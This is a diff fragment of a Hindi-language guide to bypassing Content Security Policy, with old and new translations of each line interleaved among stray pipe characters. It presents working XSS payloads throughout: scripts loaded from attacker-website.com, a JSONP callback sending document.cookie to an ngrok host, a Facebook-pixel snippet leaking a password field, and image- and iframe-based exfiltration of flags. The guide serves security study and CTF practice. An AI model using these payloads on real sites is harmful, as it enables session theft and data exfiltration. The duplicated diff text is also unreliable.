- `'report-sample'`: उल्लंघन रिपोर्ट में उल्लंघन करने वाले कोड का एक नमूना शामिल करता है (डीबगिंग के लिए उपयोगी)।
|
||||
- `'report-sample'`: उल्लंघन रिपोर्ट में उल्लंघन करने वाले कोड का एक नमूना शामिल करता है (डिबगिंग के लिए उपयोगी)।
|
||||
- `'strict-origin'`: 'self' के समान लेकिन सुनिश्चित करता है कि स्रोतों का प्रोटोकॉल सुरक्षा स्तर दस्तावेज़ से मेल खाता है (केवल सुरक्षित मूल सुरक्षित मूल से संसाधन लोड कर सकते हैं)।
|
||||
- `'strict-origin-when-cross-origin'`: समान मूल अनुरोध करते समय पूर्ण URLs भेजता है लेकिन केवल तब मूल भेजता है जब अनुरोध क्रॉस-ओरिजिन हो।
|
||||
- `'strict-origin-when-cross-origin'`: समान मूल अनुरोध करते समय पूर्ण URL भेजता है लेकिन केवल तब मूल भेजता है जब अनुरोध क्रॉस-ओरिजिन हो।
|
||||
- `'unsafe-allow-redirects'`: संसाधनों को लोड करने की अनुमति देता है जो तुरंत किसी अन्य संसाधन पर रीडायरेक्ट करेंगे। सुरक्षा को कमजोर करने के कारण अनुशंसित नहीं है।
|
||||
|
||||
## Unsafe CSP Rules
|
||||
@ -126,14 +126,14 @@ Content-Security-Policy: script-src https://google.com 'unsafe-eval';
|
||||
```
|
||||
### strict-dynamic
|
||||
|
||||
यदि आप किसी तरह एक **अनुमत JS कोड को DOM में एक नया स्क्रिप्ट टैग बनाने के लिए मजबूर कर सकते हैं** अपने JS कोड के साथ, क्योंकि एक अनुमत स्क्रिप्ट इसे बना रही है, तो **नया स्क्रिप्ट टैग निष्पादित होने की अनुमति दी जाएगी**।
|
||||
यदि आप किसी तरह एक **अनुमत JS कोड को DOM में एक नया स्क्रिप्ट टैग** बनाने के लिए बना सकते हैं, क्योंकि एक अनुमत स्क्रिप्ट इसे बना रही है, तो **नया स्क्रिप्ट टैग निष्पादित होने की अनुमति दी जाएगी**।
|
||||
|
||||
### Wildcard (\*)
|
||||
```yaml
|
||||
Content-Security-Policy: script-src 'self' https://google.com https: data *;
|
||||
```
|
||||
काम करने वाला पेलोड:
|
||||
```markup
|
||||
```html
|
||||
"/>'><script src=https://attacker-website.com/evil.js></script>
|
||||
"/>'><script src=data:text/javascript,alert(1337)></script>
|
||||
```
|
||||
@ -144,7 +144,7 @@ Content-Security-Policy: script-src 'self' https://google.com https: data *;
|
||||
Content-Security-Policy: script-src 'self' ;
|
||||
```
|
||||
काम करने वाले पेलोड:
|
||||
```markup
|
||||
```html
|
||||
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
|
||||
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
|
||||
<param name="AllowScriptAccess" value="always"></object>
|
||||
@ -156,14 +156,14 @@ Content-Security-Policy: script-src 'self'; object-src 'none' ;
|
||||
यदि आप एक JS फ़ाइल अपलोड कर सकते हैं, तो आप इस CSP को बायपास कर सकते हैं:
|
||||
|
||||
कार्यशील पेलोड:
|
||||
```markup
|
||||
```html
|
||||
"/>'><script src="/uploads/picture.png.js"></script>
|
||||
```
|
||||
हालांकि, यह अत्यधिक संभावित है कि सर्वर **अपलोड की गई फ़ाइल को मान्य कर रहा है** और केवल आपको **निर्धारित प्रकार की फ़ाइलें अपलोड करने की अनुमति देगा**।
|
||||
हालांकि, यह अत्यधिक संभावित है कि सर्वर **अपलोड की गई फ़ाइल को मान्य कर रहा है** और केवल आपको **निर्धारित प्रकार की फ़ाइलें अपलोड करने** की अनुमति देगा।
|
||||
|
||||
इसके अलावा, भले ही आप सर्वर द्वारा स्वीकार की गई एक्सटेंशन (जैसे: _script.png_) का उपयोग करके एक फ़ाइल के अंदर **JS कोड अपलोड** कर सकें, यह पर्याप्त नहीं होगा क्योंकि कुछ सर्वर जैसे अपाचे सर्वर **फाइल के एक्सटेंशन के आधार पर MIME प्रकार का चयन करते हैं** और ब्राउज़र जैसे Chrome **जावास्क्रिप्ट** कोड को कुछ ऐसा करने से **अस्वीकृत** करेंगे जो एक छवि होनी चाहिए। "उम्मीद है", वहाँ गलतियाँ हैं। उदाहरण के लिए, एक CTF से मैंने सीखा कि **Apache को _**.wave**_ एक्सटेंशन का पता नहीं है, इसलिए यह इसे **MIME प्रकार जैसे audio/\*** के साथ सर्व नहीं करता है।
|
||||
इसके अलावा, भले ही आप सर्वर द्वारा स्वीकार की गई एक्सटेंशन (जैसे: _script.png_) का उपयोग करके एक फ़ाइल के अंदर **JS कोड अपलोड** कर सकें, यह पर्याप्त नहीं होगा क्योंकि कुछ सर्वर जैसे अपाचे सर्वर **फाइल के एक्सटेंशन के आधार पर MIME प्रकार का चयन करते हैं** और ब्राउज़र जैसे Chrome **Javascript** कोड को कुछ ऐसा करने के लिए **अस्वीकृत** करेंगे जो एक छवि होनी चाहिए। "उम्मीद है", वहाँ गलतियाँ हैं। उदाहरण के लिए, एक CTF से मैंने सीखा कि **Apache को _**.wave**_ एक्सटेंशन का पता नहीं है, इसलिए यह इसे **MIME प्रकार जैसे audio/\*** के साथ सर्व नहीं करता है।
|
||||
|
||||
यहां से, यदि आप एक XSS और एक फ़ाइल अपलोड पाते हैं, और आप एक **गलत व्याख्या की गई एक्सटेंशन** खोजने में सफल होते हैं, तो आप उस एक्सटेंशन के साथ एक फ़ाइल अपलोड करने और स्क्रिप्ट की सामग्री को आज़मा सकते हैं। या, यदि सर्वर अपलोड की गई फ़ाइल के सही प्रारूप की जांच कर रहा है, तो एक पॉलीग्लॉट बनाएं ([कुछ पॉलीग्लॉट उदाहरण यहाँ](https://github.com/Polydet/polyglot-database))।
|
||||
यहां से, यदि आप एक XSS और एक फ़ाइल अपलोड पाते हैं, और आप एक **गलत व्याख्यायित एक्सटेंशन** खोजने में सफल होते हैं, तो आप उस एक्सटेंशन के साथ एक फ़ाइल अपलोड करने और स्क्रिप्ट की सामग्री को आज़मा सकते हैं। या, यदि सर्वर अपलोड की गई फ़ाइल के सही प्रारूप की जांच कर रहा है, तो एक पॉलीग्लॉट बनाएं ([कुछ पॉलीग्लॉट उदाहरण यहाँ](https://github.com/Polydet/polyglot-database))।
|
||||
|
||||
### Form-action
|
||||
|
||||
@ -197,11 +197,11 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
|
||||
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
|
||||
>
|
||||
```
|
||||
#### Payloads using Angular + a library with functions that return the `window` object ([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
|
||||
#### Angular + एक लाइब्रेरी का उपयोग करके Payloads जो `window` ऑब्जेक्ट लौटाती हैं ([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
|
||||
|
||||
> [!NOTE]
|
||||
> यह पोस्ट दिखाता है कि आप `cdn.cloudflare.com` (या किसी अन्य अनुमत JS लाइब्रेरी रिपॉजिटरी) से सभी **लाइब्रेरीज़** को **लोड** कर सकते हैं, प्रत्येक लाइब्रेरी से सभी जोड़े गए फ़ंक्शंस को निष्पादित कर सकते हैं, और **यह जांच सकते हैं कि कौन से फ़ंक्शंस कौन सी लाइब्रेरीज़ से `window` ऑब्जेक्ट लौटाते हैं**।
|
||||
```markup
|
||||
> यह पोस्ट दिखाती है कि आप `cdn.cloudflare.com` (या किसी अन्य अनुमत JS लाइब्रेरी रिपॉजिटरी) से सभी **लाइब्रेरीज़** को **लोड** कर सकते हैं, प्रत्येक लाइब्रेरी से जोड़ी गई सभी फ़ंक्शंस को निष्पादित कर सकते हैं, और **यह जांच सकते हैं कि कौन से फ़ंक्शंस कौन सी लाइब्रेरीज़ से `window` ऑब्जेक्ट लौटाते हैं**।
|
||||
```html
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
|
||||
<div ng-app ng-csp>
|
||||
@ -275,7 +275,7 @@ Google Apps Script का दुरुपयोग करके script.google.co
|
||||
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
|
||||
```
|
||||
ऐसे परिदृश्य जहाँ `script-src` को `self` और एक विशेष डोमेन पर सेट किया गया है जिसे व्हाइटलिस्ट किया गया है, JSONP का उपयोग करके बायपास किया जा सकता है। JSONP एंडपॉइंट असुरक्षित कॉलबैक विधियों की अनुमति देते हैं जो एक हमलावर को XSS करने की अनुमति देते हैं, कार्यशील पेलोड:
|
||||
```markup
|
||||
```html
|
||||
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
|
||||
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
|
||||
```
|
||||
@ -290,7 +290,7 @@ https://www.youtube.com/oembed?callback=alert;
|
||||
|
||||
### थर्ड पार्टी दुरुपयोग
|
||||
|
||||
जैसा कि [निम्नलिखित पोस्ट](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses) में वर्णित है, कई थर्ड पार्टी डोमेन हैं, जो CSP में कहीं न कहीं अनुमति दी जा सकती हैं, जिन्हें डेटा को एक्सफिल्ट्रेट करने या जावास्क्रिप्ट कोड निष्पादित करने के लिए दुरुपयोग किया जा सकता है। इनमें से कुछ थर्ड-पार्टी हैं:
|
||||
जैसा कि [निम्नलिखित पोस्ट](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses) में वर्णित है, कई थर्ड पार्टी डोमेन हैं, जो CSP में कहीं न कहीं अनुमति दी जा सकती हैं, जिन्हें डेटा को एक्सफिल्ट्रेट करने या जावास्क्रिप्ट कोड को निष्पादित करने के लिए दुरुपयोग किया जा सकता है। इनमें से कुछ थर्ड-पार्टी हैं:
|
||||
|
||||
| Entity | Allowed Domain | Capabilities |
|
||||
| ----------------- | -------------------------------------------- | ------------ |
|
||||
@ -303,7 +303,7 @@ https://www.youtube.com/oembed?callback=alert;
|
||||
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
|
||||
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
|
||||
|
||||
यदि आप अपने लक्ष्य के CSP में किसी भी अनुमति प्राप्त डोमेन को पाते हैं, तो संभावना है कि आप थर्ड-पार्टी सेवा पर पंजीकरण करके CSP को बायपास कर सकते हैं और, या तो उस सेवा पर डेटा को एक्सफिल्ट्रेट कर सकते हैं या कोड निष्पादित कर सकते हैं।
|
||||
यदि आप अपने लक्ष्य के CSP में किसी भी अनुमति प्राप्त डोमेन को पाते हैं, तो संभावना है कि आप थर्ड-पार्टी सेवा पर पंजीकरण करके CSP को बायपास कर सकते हैं और, या तो उस सेवा पर डेटा को एक्सफिल्ट्रेट कर सकते हैं या कोड को निष्पादित कर सकते हैं।
|
||||
|
||||
उदाहरण के लिए, यदि आप निम्नलिखित CSP पाते हैं:
|
||||
```
|
||||
@ -319,8 +319,8 @@ Content-Security-Policy: connect-src www.facebook.com;
|
||||
2. एक नया "Facebook Login" ऐप बनाएं और "Website" चुनें।
|
||||
3. "Settings -> Basic" पर जाएं और अपना "App ID" प्राप्त करें।
|
||||
4. लक्षित साइट पर, जिससे आप डेटा एक्सफिल्ट्रेट करना चाहते हैं, आप "customEvent" और डेटा पेलोड के माध्यम से Facebook SDK गैजेट "fbq" का सीधे उपयोग करके डेटा एक्सफिल्ट्रेट कर सकते हैं।
|
||||
5. अपने ऐप के "Event Manager" पर जाएं और उस ऐप्लिकेशन का चयन करें जिसे आपने बनाया है (ध्यान दें कि इवेंट मैनेजर एक URL में पाया जा सकता है जो इस तरह का है: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events)।
|
||||
6. "Test Events" टैब का चयन करें ताकि "आपकी" वेबसाइट द्वारा भेजे जा रहे इवेंट्स को देखा जा सके।
|
||||
5. अपने ऐप के "Event Manager" पर जाएं और आपने जो ऐप बनाया है उसे चुनें (ध्यान दें कि इवेंट मैनेजर एक URL में पाया जा सकता है जो इस तरह का है: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events)।
|
||||
6. "Test Events" टैब चुनें ताकि "आपकी" वेबसाइट द्वारा भेजे जा रहे इवेंट्स को देखा जा सके।
|
||||
|
||||
फिर, पीड़ित पक्ष पर, आप Facebook ट्रैकिंग पिक्सेल को हमलावर के Facebook डेवलपर खाता ऐप-आईडी की ओर इंगित करने और इस तरह का एक कस्टम इवेंट जारी करने के लिए निम्नलिखित कोड निष्पादित करते हैं:
|
||||
```JavaScript
|
||||
@ -370,12 +370,12 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
|
||||
|
||||
एक विशिष्ट नीति जिसे सामग्री सुरक्षा नीति (CSP) के रूप में जाना जाता है, JavaScript घटनाओं को प्रतिबंधित कर सकती है। फिर भी, AngularJS एक वैकल्पिक के रूप में कस्टम घटनाएँ पेश करता है। एक घटना के भीतर, AngularJS एक अद्वितीय ऑब्जेक्ट `$event` प्रदान करता है, जो मूल ब्राउज़र घटना ऑब्जेक्ट को संदर्भित करता है। इस `$event` ऑब्जेक्ट का उपयोग CSP को दरकिनार करने के लिए किया जा सकता है। विशेष रूप से, Chrome में, `$event/event` ऑब्जेक्ट में एक `path` विशेषता होती है, जो घटना के निष्पादन श्रृंखला में शामिल ऑब्जेक्टों की एक सरणी रखती है, जिसमें `window` ऑब्जेक्ट हमेशा अंत में स्थित होता है। यह संरचना सैंडबॉक्स बचाव रणनीतियों के लिए महत्वपूर्ण है।
|
||||
|
||||
इस सरणी को `orderBy` फ़िल्टर की ओर निर्देशित करके, इसे पुनरावृत्त करना संभव है, अंतिम तत्व ( `window` ऑब्जेक्ट) का उपयोग करके एक वैश्विक फ़ंक्शन जैसे `alert()` को सक्रिय करना। नीचे प्रदर्शित कोड स्निपेट इस प्रक्रिया को स्पष्ट करता है:
|
||||
इस सरणी को `orderBy` फ़िल्टर की ओर निर्देशित करके, इसे पुनरावृत्त करना संभव है, अंतिम तत्व ( `window` ऑब्जेक्ट) का उपयोग करके एक वैश्विक फ़ंक्शन जैसे `alert()` को ट्रिगर करना। नीचे प्रदर्शित कोड स्निपेट इस प्रक्रिया को स्पष्ट करता है:
|
||||
```xml
|
||||
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
|
||||
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
|
||||
```
|
||||
यह स्निप्पेट `ng-focus` निर्देश का उपयोग करके इवेंट को ट्रिगर करने, `$event.path|orderBy` का उपयोग करके `path` एरे को संशोधित करने, और `window` ऑब्जेक्ट का उपयोग करके `alert()` फ़ंक्शन को निष्पादित करने को उजागर करता है, जिससे `document.cookie` प्रकट होता है।
|
||||
यह स्निप्पेट `ng-focus` निर्देश का उपयोग करके इवेंट को ट्रिगर करने को उजागर करता है, `$event.path|orderBy` का उपयोग करके `path` एरे को संशोधित करता है, और `alert()` फ़ंक्शन को निष्पादित करने के लिए `window` ऑब्जेक्ट का लाभ उठाता है, इस प्रकार `document.cookie` को प्रकट करता है।
|
||||
|
||||
**अन्य Angular बायपास खोजें** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
|
||||
|
||||
@ -383,7 +383,7 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
|
||||
```
|
||||
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
|
||||
```
|
||||
एक CSP नीति जो Angular JS एप्लिकेशन में स्क्रिप्ट लोडिंग के लिए डोमेन को व्हाइटलिस्ट करती है, को कॉलबैक फ़ंक्शंस और कुछ कमजोर वर्गों के उपयोग के माध्यम से बायपास किया जा सकता है। इस तकनीक पर अधिक जानकारी इस [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22) पर उपलब्ध एक विस्तृत गाइड में मिल सकती है।
|
||||
एक CSP नीति जो Angular JS एप्लिकेशन में स्क्रिप्ट लोडिंग के लिए डोमेन को व्हाइटलिस्ट करती है, को कॉलबैक फ़ंक्शंस और कुछ कमजोर वर्गों के उपयोग के माध्यम से बायपास किया जा सकता है। इस तकनीक पर अधिक जानकारी एक विस्तृत गाइड में उपलब्ध है जो इस [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22) पर है।
|
||||
|
||||
कार्यशील पेलोड:
|
||||
```html
|
||||
@ -393,7 +393,7 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com
|
||||
<!-- no longer working -->
|
||||
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
|
||||
```
|
||||
अन्य JSONP मनमानी निष्पादन एंडपॉइंट्स [**यहां**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) पाए जा सकते हैं (इनमें से कुछ हटा दिए गए या ठीक कर दिए गए हैं)
|
||||
अन्य JSONP मनमानी निष्पादन एंडपॉइंट्स [**यहाँ**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) मिल सकते हैं (इनमें से कुछ हटा दिए गए या ठीक कर दिए गए हैं)
|
||||
|
||||
### रीडायरेक्शन के माध्यम से बायपास
|
||||
|
||||
@ -401,7 +401,7 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com
|
||||
|
||||
हालांकि, [CSP स्पेक 4.2.2.3. पाथ्स और रीडायरेक्ट्स](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects) में वर्णन के अनुसार, यदि रीडायरेक्शन एक अलग पथ की ओर ले जाता है, तो यह मूल प्रतिबंधों को बायपास कर सकता है।
|
||||
|
||||
यहां एक उदाहरण है:
|
||||
यहाँ एक उदाहरण है:
|
||||
```html
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
@ -435,9 +435,9 @@ content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
|
||||
```
|
||||
default-src 'self' 'unsafe-inline'; img-src *;
|
||||
```
|
||||
`'unsafe-inline'` का मतलब है कि आप कोड के अंदर कोई भी स्क्रिप्ट चला सकते हैं (XSS कोड चला सकता है) और `img-src *` का मतलब है कि आप वेबपेज पर किसी भी संसाधन से कोई भी इमेज उपयोग कर सकते हैं।
|
||||
`'unsafe-inline'` का मतलब है कि आप कोड के अंदर कोई भी स्क्रिप्ट चला सकते हैं (XSS कोड चला सकता है) और `img-src *` का मतलब है कि आप वेबपेज पर किसी भी संसाधन से कोई भी छवि उपयोग कर सकते हैं।
|
||||
|
||||
आप इस CSP को इमेज के माध्यम से डेटा को एक्सफिल्ट्रेट करके बायपास कर सकते हैं (इस अवसर पर XSS एक CSRF का दुरुपयोग करता है जहां बॉट द्वारा एक्सेस किया जाने वाला एक पृष्ठ एक SQLi को शामिल करता है, और एक इमेज के माध्यम से फ्लैग को निकालता है):
|
||||
आप इस CSP को छवियों के माध्यम से डेटा को एक्सफिल्ट्रेट करके बायपास कर सकते हैं (इस अवसर पर XSS एक CSRF का दुरुपयोग करता है जहां एक पृष्ठ जो बॉट द्वारा सुलभ है, एक SQLi है, और एक छवि के माध्यम से ध्वज निकालता है):
|
||||
```javascript
|
||||
<script>
|
||||
fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
|
||||
@ -478,7 +478,7 @@ Edge में यह बहुत सरल है। यदि आप CSP म
|
||||
### img-src \*; XSS (iframe) के माध्यम से - समय हमला
|
||||
|
||||
निर्देश `'unsafe-inline'` की कमी पर ध्यान दें।\
|
||||
इस बार आप पीड़ित को **XSS** के माध्यम से **आपके नियंत्रण** में एक पृष्ठ **लोड** करने के लिए मजबूर कर सकते हैं `<iframe` के साथ। इस बार आप पीड़ित को उस पृष्ठ तक पहुँचाने जा रहे हैं जहाँ से आप जानकारी निकालना चाहते हैं (**CSRF**)। आप पृष्ठ की सामग्री तक पहुँच नहीं सकते, लेकिन यदि किसी तरह आप **पृष्ठ को लोड करने में लगने वाले समय को नियंत्रित कर सकते हैं** तो आप आवश्यक जानकारी निकाल सकते हैं।
|
||||
इस बार आप पीड़ित को **XSS** के माध्यम से **आपके नियंत्रण** में एक पृष्ठ **लोड** करने के लिए मजबूर कर सकते हैं एक `<iframe` के साथ। इस बार आप पीड़ित को उस पृष्ठ तक पहुँचने के लिए मजबूर करेंगे जहाँ से आप जानकारी निकालना चाहते हैं (**CSRF**)। आप पृष्ठ की सामग्री तक पहुँच नहीं सकते, लेकिन यदि किसी तरह आप **पृष्ठ को लोड करने में लगने वाले समय को नियंत्रित कर सकते हैं** तो आप आवश्यक जानकारी निकाल सकते हैं।
|
||||
|
||||
इस बार एक **झंडा** निकाला जाएगा, जब भी एक **चर सही अनुमानित** किया जाता है SQLi के माध्यम से, **प्रतिक्रिया** **अधिक समय** लेती है नींद फ़ंक्शन के कारण। फिर, आप झंडा निकालने में सक्षम होंगे:
|
||||
```html
|
||||
@ -548,7 +548,7 @@ run()
|
||||
|
||||
### CSP bypass by restricting CSP
|
||||
|
||||
[**इस CTF लेखन में**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP को एक अनुमत iframe के अंदर एक अधिक प्रतिबंधात्मक CSP को इंजेक्ट करके बायपास किया गया है जो एक विशिष्ट JS फ़ाइल को लोड करने की अनुमति नहीं देता है, जो फिर, **प्रोटोटाइप प्रदूषण** या **DOM क्लॉबरिंग** के माध्यम से **एक अलग स्क्रिप्ट का दुरुपयोग करके एक मनमाना स्क्रिप्ट लोड करने की अनुमति देता है**।
|
||||
[**इस CTF लेखन में**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP को एक अनुमत iframe के अंदर एक अधिक प्रतिबंधात्मक CSP को इंजेक्ट करके बायपास किया गया है जो एक विशिष्ट JS फ़ाइल को लोड करने की अनुमति नहीं देता है, जो फिर, **प्रोटोटाइप प्रदूषण** या **DOM क्लॉबरिंग** के माध्यम से **एक अलग स्क्रिप्ट का दुरुपयोग करके एक मनमाना स्क्रिप्ट लोड करने** की अनुमति देता है।
|
||||
|
||||
आप **`csp`** विशेषता के साथ **एक Iframe का CSP प्रतिबंधित कर सकते हैं**:
|
||||
```html
|
||||
@ -557,7 +557,7 @@ src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
|
||||
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
|
||||
```
|
||||
इस [**CTF लेख**](https://github.com/aszx87410/ctf-writeups/issues/48) में, **HTML injection** के माध्यम से **CSP** को अधिक **restrict** करना संभव था, जिससे CSTI को रोकने वाला एक स्क्रिप्ट निष्क्रिय हो गया और इसलिए **vulnerability exploitable हो गई।**\
|
||||
CSP को **HTML meta tags** का उपयोग करके अधिक restrictive बनाया जा सकता है और inline scripts को **removing** करके **entry** को निष्क्रिय किया जा सकता है, जिससे उनके **nonce** की अनुमति मिलती है और **sha** के माध्यम से विशिष्ट inline स्क्रिप्ट को **enable** किया जा सकता है:
|
||||
CSP को **HTML meta tags** का उपयोग करके अधिक restrictive बनाया जा सकता है और inline scripts को **removing** करके **entry** को निष्क्रिय किया जा सकता है, जिससे उनके **nonce** की अनुमति मिलती है और **sha** के माध्यम से विशिष्ट inline स्क्रिप्ट को सक्षम किया जा सकता है:
|
||||
```html
|
||||
<meta
|
||||
http-equiv="Content-Security-Policy"
|
||||
@ -568,7 +568,7 @@ content="script-src 'self'
|
||||
```
|
||||
### JS exfiltration with Content-Security-Policy-Report-Only
|
||||
|
||||
यदि आप सर्वर को **`Content-Security-Policy-Report-Only`** हेडर के साथ **आपके द्वारा नियंत्रित मान** के साथ प्रतिक्रिया देने में सक्षम हैं (शायद CRLF के कारण), तो आप इसे अपने सर्वर की ओर इंगित कर सकते हैं और यदि आप **JS सामग्री** को **`<script>`** के साथ लपेटते हैं और क्योंकि CSP द्वारा `unsafe-inline` की अनुमति नहीं है, तो यह **CSP त्रुटि** को **प्रेरित** करेगा और स्क्रिप्ट का एक भाग (संवेदनशील जानकारी वाला) `Content-Security-Policy-Report-Only` से सर्वर पर भेजा जाएगा।
|
||||
यदि आप सर्वर को **`Content-Security-Policy-Report-Only`** हेडर के साथ **आपके द्वारा नियंत्रित मान** के साथ प्रतिक्रिया देने में सफल होते हैं (शायद CRLF के कारण), तो आप इसे अपने सर्वर की ओर इंगित कर सकते हैं और यदि आप **JS सामग्री** को **`<script>`** के साथ लपेटते हैं और क्योंकि CSP द्वारा `unsafe-inline` की अनुमति नहीं है, तो यह **CSP त्रुटि** को **प्रेरित** करेगा और स्क्रिप्ट का एक भाग (संवेदनशील जानकारी वाला) `Content-Security-Policy-Report-Only` से सर्वर पर भेजा जाएगा।
|
||||
|
||||
उदाहरण के लिए [**इस CTF लेख को देखें**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
|
||||
|
||||
@ -579,7 +579,7 @@ document.querySelector("DIV").innerHTML =
|
||||
```
|
||||
### CSP और Iframe के साथ जानकारी लीक करना
|
||||
|
||||
- एक `iframe` बनाया जाता है जो एक URL (चलो इसे `https://example.redirect.com` कहते हैं) की ओर इशारा करता है जिसे CSP द्वारा अनुमति दी गई है।
|
||||
- एक `iframe` बनाया जाता है जो एक URL की ओर इशारा करता है (चलो इसे `https://example.redirect.com` कहते हैं) जिसे CSP द्वारा अनुमति दी गई है।
|
||||
- यह URL फिर एक गुप्त URL (जैसे, `https://usersecret.example2.com`) की ओर रीडायरेक्ट करता है जो CSP द्वारा **अनुमति नहीं दी गई** है।
|
||||
- `securitypolicyviolation` इवेंट को सुनकर, कोई `blockedURI` प्रॉपर्टी को कैप्चर कर सकता है। यह प्रॉपर्टी ब्लॉक किए गए URI के डोमेन को प्रकट करती है, जिससे प्रारंभिक URL द्वारा रीडायरेक्ट किए गए गुप्त डोमेन का लीक होना होता है।
|
||||
|
||||
@ -591,7 +591,7 @@ img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev http
|
||||
```
|
||||
CSP द्वारा अवरुद्ध या अनुमति प्राप्त अनुरोधों की निगरानी करके, कोई भी गुप्त उपडोमेन में संभावित वर्णों को संकीर्ण कर सकता है, अंततः पूर्ण URL का पता लगा सकता है।
|
||||
|
||||
दोनों विधियाँ CSP कार्यान्वयन और ब्राउज़रों में व्यवहार के सूक्ष्मताओं का लाभ उठाती हैं, यह प्रदर्शित करती हैं कि कैसे प्रतीत होता है कि सुरक्षित नीतियाँ अनजाने में संवेदनशील जानकारी को लीक कर सकती हैं।
|
||||
दोनों विधियाँ CSP कार्यान्वयन और ब्राउज़रों में व्यवहार के सूक्ष्मताओं का लाभ उठाती हैं, यह प्रदर्शित करती हैं कि कैसे प्रतीत होता है कि सुरक्षित नीतियाँ अनजाने में संवेदनशील जानकारी लीक कर सकती हैं।
|
||||
|
||||
[**यहाँ**](https://ctftime.org/writeup/29310) से ट्रिक।
|
||||
|
||||
@ -599,18 +599,18 @@ CSP द्वारा अवरुद्ध या अनुमति प्र
|
||||
|
||||
### बहुत सारे पैरामीटर होने पर PHP त्रुटियाँ
|
||||
|
||||
[**इस वीडियो में टिप्पणी की गई अंतिम तकनीक**](https://www.youtube.com/watch?v=Sm4G6cAHjWM) के अनुसार, बहुत सारे पैरामीटर (1001 GET पैरामीटर, हालांकि आप इसे POST पैरामीटर और 20 से अधिक फ़ाइलों के साथ भी कर सकते हैं) भेजने पर। PHP वेब कोड में कोई भी परिभाषित **`header()`** **नहीं भेजा जाएगा** क्योंकि यह त्रुटि उत्पन्न करेगा।
|
||||
[**इस वीडियो में टिप्पणी की गई अंतिम तकनीक**](https://www.youtube.com/watch?v=Sm4G6cAHjWM) के अनुसार, बहुत सारे पैरामीटर (1001 GET पैरामीटर, हालांकि आप इसे POST पैरामीटर और 20 से अधिक फ़ाइलों के साथ भी कर सकते हैं) भेजना। PHP वेब कोड में कोई भी परिभाषित **`header()`** **नहीं भेजा जाएगा** क्योंकि यह त्रुटि उत्पन्न करेगा।
|
||||
|
||||
### PHP प्रतिक्रिया बफर ओवरलोड
|
||||
|
||||
PHP को डिफ़ॉल्ट रूप से **4096** बाइट्स तक प्रतिक्रिया को **बफरिंग** करने के लिए जाना जाता है। इसलिए, यदि PHP एक चेतावनी दिखा रहा है, तो **चेतावनियों के अंदर पर्याप्त डेटा प्रदान करके**, **प्रतिक्रिया** **CSP हेडर** से **पहले** **भेजी जाएगी**, जिससे हेडर को अनदेखा किया जाएगा।\
|
||||
फिर, तकनीक मूल रूप से **चेतावनियों के साथ प्रतिक्रिया बफर को भरने** में है ताकि CSP हेडर न भेजा जाए।
|
||||
|
||||
[**इस लेख**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points) से विचार।
|
||||
[**इस लेखन**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points) से विचार।
|
||||
|
||||
### त्रुटि पृष्ठ को फिर से लिखें
|
||||
|
||||
